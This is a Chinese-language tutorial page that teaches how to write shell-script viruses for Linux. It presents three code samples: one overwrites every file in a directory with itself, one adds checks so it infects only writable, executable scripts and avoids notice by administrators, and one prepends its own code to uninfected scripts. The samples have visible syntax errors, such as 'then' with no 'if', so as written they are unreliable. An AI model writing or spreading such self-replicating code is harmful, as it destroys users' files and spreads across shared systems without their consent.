linuxshell脚本:用Shell病毒技术感染Linux脚本程序

主要shell病毒技术
-------------------
  当然,本文需要你至少了解linux shell编程基础知识和星点病毒知识.
  ok!我们进入正题!
  我们来看个最原始shell病毒,代码最能介绍说明问题:
---------------------------------------------------------
#shellvirus I
for file in *
do
 cp $0 $file
done
---------------------------------------------------------
       单吧?遍历当前文件系统所有文件,然后覆盖所有文件.但是,我们知道linux是多用户操作系统,它文件是具有
保护模式,所以以上脚本有可能会报出大堆,所以它很快就会被管理员发现并制止它传染.所以我们可以
为该脚本做个判断,这样隐蔽性就大大增强了:
---------------------------------------------------------
#shellvirus II
for file in *
do
  test -f $file
  then
   test -x $file
  then
   test -w $file
   then
    grep -s echo $file >.mmm
   then
   cp $0 $file
fi; fi; fi; fi; fi
done
rm .mmm -f
---------------------------------------------------------
      ok.我们改进了下,加了若干判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本
如果是就cp $0 $file,所以这段代码是感然该系统所有脚本,危害性还是比较大. grep -s echo $file>/.mmm
这句也可以这样写: file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell
脚本.
  但是,脚本病毒旦在感染完毕的后就什么也不做了,它没有象 2进制病毒那样潜伏危害性,而且以上脚本只是简
覆盖宿主而已,所以我这里利用了下传统 2进制病毒感染机制,效果也不错,看看下面代码:
---------------------------------------------------------
#infection
head -n 24 $0 > .test    <-取自身保存到.test
for file in *      <-遍历文件系统
do
  test -f $file    <-判断是否为文件
 then
    test -x $file    <-判断文件是否可执行
   then
      test -w $file  <-判断文件是否可写
      then
       grep -s echo $file >.mmm  <-判断是否为脚本
       then
        head -n 1 $file >.mm    <-提取要感染脚本
        grep -s infection .mm >.mmm  <-判断该文件是否已经被感染
        then
        rm -f .mm      <-已经被感染,则跳过
                <-还未被感染
        cat $file > .SAVEE    <-很熟悉吧?借用了传统 2进制文件感染机制
        cat .test > $file
        cat .SAVEE >> $file
 fi; fi; fi; fi; fi
done
rm .test .SAVEE .mmm .mm -f
--------------------------------------------------------
Tags:  执行shell脚本 shell脚本编程 shell脚本 linuxshell脚本

延伸阅读

最新评论

发表评论